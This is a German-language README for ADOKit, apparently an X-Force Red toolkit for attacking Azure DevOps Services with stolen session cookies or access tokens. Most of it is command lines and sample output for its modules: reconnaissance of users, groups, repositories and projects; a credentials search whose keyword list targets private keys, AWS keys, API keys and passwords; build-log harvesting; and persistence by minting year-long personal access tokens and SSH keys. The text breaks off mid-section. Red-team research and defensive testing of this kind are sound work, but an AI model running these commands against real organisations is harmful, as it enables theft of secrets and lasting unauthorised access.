
Modulares Angriffstoolkit, das die Azure DevOps REST API für Aufklärung, Privilegieneskalation und Persistenz unter Verwendung gestohlener Cookies oder PATs ausnutzt.
Azure DevOps Services Attack Toolkit - ADOKit ist ein Toolkit, das zum Angreifen von Azure DevOps Services genutzt werden kann, indem es die verfügbare REST-API ausnutzt. Das Tool ermöglicht es dem Benutzer, ein Angriffsmodul sowie gültige Anmeldeinformationen (API-Schlüssel oder gestohlenes Authentifizierungs-Cookie) für die entsprechende Azure DevOps Services-Instanz anzugeben. Die unterstützten Angriffsmodule umfassen Aufklärung, Privilegienausweitung und Persistenz. ADOKit wurde modular aufgebaut, sodass in Zukunft von der Informationssicherheits-Community neue Module hinzugefügt werden können.
Vollständige Details zu den von ADOKit verwendeten Techniken finden Sie im X-Force Red Whitepaper.
Präsentationsfolien und Demos sind im Ordner BHUSA Arsenal 2024 in diesem Repository enthalten.
Die folgenden Drittanbieter-Bibliotheken werden in diesem Projekt verwendet.
| Bibliothek | URL | Lizenz |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT-Lizenz |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT-Lizenz |
Führen Sie die folgenden Schritte aus, um Visual Studio so einzurichten, dass Sie das Projekt selbst kompilieren können. Dazu werden zwei .NET-Bibliotheken benötigt, die über den NuGet-Paketmanager installiert werden können.
https://api.nuget.org/v3/index.json hinzuInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"Unten sind die Authentifizierungsoptionen aufgeführt, die Sie mit ADOKit bei der Authentifizierung bei einer Azure DevOps-Instanz haben.
UserAuthentication-Cookie auf dem Rechner eines Benutzers für die Domäne .dev.azure.com sein.
/credential:UserAuthentication=ABC123AadAuthentication-Cookie auf dem Rechner eines Benutzers für die Domäne .dev.azure.com sein.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" oder Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798" gültig sein.
/credential:eyJ0..Die folgende Tabelle zeigt die für jedes Modul erforderlichen Berechtigungen.
Authentifizierungsprüfung durchführen, um sicherzustellen, dass die Organisation Azure DevOps verwendet und die angegebenen Anmeldeinformationen gültig sind.
Geben Sie das Modul check an, zusammen mit allen relevanten Authentifizierungsinformationen und der URL. Dies gibt aus, ob die angegebene Organisation Azure DevOps verwendet, und versucht, die angegebenen Anmeldeinformationen zu validieren.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Anwendungsfall
> *Ermittelt den aktuellen Benutzer und dessen Gruppenmitgliedschaften*
#### Syntax
Geben Sie das `whoami`-Modul zusammen mit den relevanten Authentifizierungsinformationen und der URL an. Dies gibt den aktuellen Benutzer und alle seine Gruppenmitgliedschaften aus.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Organisationen mithilfe eines gegebenen Zugriffstokens abrufen.
Stellen Sie dem Modul listorgs die erforderlichen Authentifizierungsinformationen zur Verfügung. Standardmäßig listet dieser Befehl nur die Organisationen auf, die mit dem bereitgestellten Zugriffstoken zugänglich sind.
/mode:aad, um alle DevOps-Organisationen innerhalb des Azure AD-Mandanten aufzulisten, unabhängig vom direkten Zugriff./endpoint:ENDPOINT_NAME, um einen benutzerdefinierten AEX-Endpunkt anzugeben.
"X-VSS-DeploymentAffinity"-Cookies von aex.dev.azure.com identifiziert werden.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Repos auflisten
#### Anwendungsfall
> *Entdecken Sie Repositories, die in einer Azure DevOps-Instanz verwendet werden*
#### Syntax
Geben Sie das Modul `listrepo` zusammen mit allen relevanten Authentifizierungsinformationen und der URL an. Dies gibt den Repository-Namen und die URL aus.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Suche nach Repositories anhand des Repository-Namens in einer Azure DevOps-Instanz
Geben Sie das Modul searchrepo und Ihre Suchkriterien im Befehlszeilenargument /search: an, zusammen mit den relevanten Authentifizierungsinformationen und der URL. Dies gibt den passenden Repository-Namen und die URL aus.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Projekte auflisten
#### Anwendungsfall
> *Entdecken Sie Projekte, die in einer Azure DevOps-Instanz verwendet werden*
#### Syntax
Geben Sie das `listproject`-Modul zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Dies gibt den Projektnamen, die Sichtbarkeit (öffentlich oder privat) und die URL aus.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName````
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Nach Projekten anhand des Projektnamens in der Azure DevOps-Instanz suchen
Geben Sie das Modul searchproject und Ihre Suchkriterien im Befehlszeilenargument /search: an, zusammen mit relevanten Authentifizierungsinformationen und der URL. Dies gibt den passenden Projektnamen, die Sichtbarkeit (öffentlich oder privat) und die URL aus.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Code durchsuchen
#### Anwendungsfall
> *Durchsucht Code nach einem bestimmten Schlüsselwort in einer Azure DevOps-Instanz*
#### Syntax
Geben Sie das `searchcode`-Modul und Ihre Suchkriterien im Befehlszeilenargument `/search:` an, zusammen mit den entsprechenden Authentifizierungsinformationen und der URL. Dies gibt die URL zur übereinstimmenden Codedatei sowie die Zeile im Code aus, die übereinstimmte.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Beispielausgabe```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Suchen Sie in Repositorys nach Dateien, die ein bestimmtes Schlüsselwort im Dateinamen enthalten in Azure DevOps
Geben Sie das Modul searchfile und Ihre Suchkriterien im Befehlszeilenargument /search: an, zusammen mit relevanten Authentifizierungsinformationen und der URL. Dies gibt die URL zu der passenden Datei in ihrem jeweiligen Repository aus.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Creds-Suche
#### Anwendungsfall
> *Durchsuche Code nach Geheimnissen wie Passwörtern oder API-Schlüsseln in Azure DevOps*
#### Syntax
Gib das `creds`-Modul zusammen mit den relevanten Authentifizierungsinformationen und der URL an. Dies gibt die URL zur übereinstimmenden Datei in ihrem jeweiligen Repository sowie die übereinstimmenden Zeilen aus, in denen Credentials vorhanden sind.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Laden Sie die Protokolle aller Pipeline-Ausführungen (Build-Protokolle) herunter. Sie können dann offline nach Informationen und/oder Geheimnissen suchen.
Geben Sie das Modul getbuildlogs zusammen mit einem /project: für ein bestimmtes Projekt an, um alle Build-Protokolle für dieses Projekt herunterzuladen. Wenn Sie sie für alle Projekte herunterladen möchten, geben Sie all im Argument /project: an. Dadurch wird ein Ordner mit dem Namen ADOKit-[zufällige 8 Zeichen] in Ihrem aktuellen Arbeitsverzeichnis erstellt, in den die Protokolle heruntergeladen werden.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Build-Protokolle auflisten
#### Verwendung
> *Listet die verfügbaren Build-Protokolle für ein bestimmtes Projekt oder alle Projekte auf.*
#### Syntax
Geben Sie das Modul `listbuildlogs` zusammen mit einem `/project:` für ein bestimmtes Projekt an, um alle Build-Protokolle für dieses Projekt aufzulisten. Wenn Sie sie für alle Projekte auflisten möchten, geben Sie `all` im Argument `/project:` an.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Beispielausgabe```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Durchsuchen von Build-Protokollen nach einem bestimmten Schlüsselwort in einer Azure DevOps-Instanz
Geben Sie das Modul searchbuildlogs und Ihre Suchkriterien im Befehlszeilenargument /search: an, zusammen mit einem /project: für ein bestimmtes Projekt, um alle Build-Protokolle für dieses Projekt zu durchsuchen. Wenn Sie Build-Protokolle für alle Projekte durchsuchen möchten, geben Sie all im Argument /project: an. Dies gibt die URL zur entsprechenden Build-Ausgabeprotokolldatei sowie die Zeile im Build-Protokoll aus, die übereinstimmt.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### PAT erstellen
#### Anwendungsfall
> *Erstellen Sie ein persönliches Zugriffstoken (PAT) für einen Benutzer, das für die Persistenz in einer Azure DevOps-Instanz verwendet werden kann.*
#### Syntax
Geben Sie das Modul `createpat` zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Dies gibt die PAT-ID, den Namen, den Bereich, das Gültigkeitsdatum und den Token-Inhalt des erstellten PAT aus. Der Name des erstellten PAT lautet `ADOKit-` gefolgt von einer zufälligen Zeichenfolge von 8 Zeichen. Das Datum, bis zu dem der PAT gültig ist, ist 1 Jahr ab dem Erstellungsdatum, da dies das Maximum ist, das Azure DevOps erlaubt.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Alle persönlichen Zugriffstoken (PATs) für einen bestimmten Benutzer in einer Azure DevOps-Instanz auflisten.
Geben Sie das Modul listpat sowie relevante Authentifizierungsinformationen und die URL an. Dies gibt die PAT-ID, den Namen, den Bereich und das Gültigkeitsdatum aller aktiven PATs des Benutzers aus.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### PAT entfernen
#### Anwendungsfall
> *Entfernen eines PAT für einen bestimmten Benutzer in einer Azure DevOps-Instanz.*
#### Syntax
Geben Sie das Modul `removepat` zusammen mit allen relevanten Authentifizierungsinformationen und der URL an. Zusätzlich geben Sie die ID des PAT im Argument `/id:` an. Dies gibt aus, ob das PAT entfernt wurde oder nicht, und listet dann die aktuellen aktiven PATs des Benutzers nach der Entfernung auf.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Beispielausgabe```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Erstellen Sie einen SSH-Schlüssel für einen Benutzer, der für die Persistenz in einer Azure DevOps-Instanz verwendet werden kann.
Geben Sie das Modul createsshkey zusammen mit den relevanten Authentifizierungsinformationen und der URL an. Geben Sie außerdem Ihren öffentlichen SSH-Schlüssel im Argument /sshkey: an. Dies gibt die SSH-Schlüssel-ID, den Namen, den Bereich, das Gültigkeitsdatum und die letzten 20 Zeichen des öffentlichen SSH-Schlüssels für den erstellten SSH-Schlüssel aus. Der Name des erstellten SSH-Schlüssels lautet ADOKit- gefolgt von einer zufälligen Zeichenfolge von 8 Zeichen. Das Gültigkeitsdatum des SSH-Schlüssels ist 1 Jahr ab dem Erstellungsdatum, da dies das Maximum ist, das Azure DevOps erlaubt.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### SSH-Schlüssel auflisten
#### Anwendungsfall
> *Alle öffentlichen SSH-Schlüssel für einen bestimmten Benutzer in einer Azure DevOps-Instanz auflisten.*
#### Syntax
Geben Sie das `listsshkey`-Modul zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Dies gibt die SSH-Schlüssel-ID, den Namen, den Bereich und das Gültigkeitsdatum für alle aktiven SSH-Schlüssel des Benutzers aus. Zusätzlich werden die letzten 20 Zeichen des öffentlichen SSH-Schlüssels ausgegeben.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Entfernt einen SSH-Schlüssel für einen bestimmten Benutzer in einer Azure DevOps-Instanz.
Geben Sie das Modul removesshkey an, zusammen mit allen relevanten Authentifizierungsinformationen und der URL. Zusätzlich geben Sie die ID des SSH-Schlüssels im Argument /id: an. Die Ausgabe zeigt an, ob der SSH-Schlüssel entfernt wurde oder nicht, und listet anschließend die aktuell aktiven SSH-Schlüssel des Benutzers nach der Entfernung auf.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Benutzer auflisten
#### Anwendungsfall
> *Benutzer in einer Azure DevOps-Instanz auflisten*
#### Syntax
Geben Sie das `listuser`-Modul zusammen mit den entsprechenden Authentifizierungsinformationen und der URL an. Dies gibt den Benutzernamen, den Anzeigenamen und den Benutzerprinzipalnamen aus.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Beispielausgabe```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Suche nach angegebenem/n Benutzer(n) in Azure DevOps-Instanz
Geben Sie das searchuser-Modul und Ihre Suchkriterien im Befehlszeilenargument /search: an, zusammen mit den relevanten Authentifizierungsinformationen und der URL. Dies gibt den passenden Benutzernamen, Anzeigenamen und Benutzerprinzipalnamen aus.
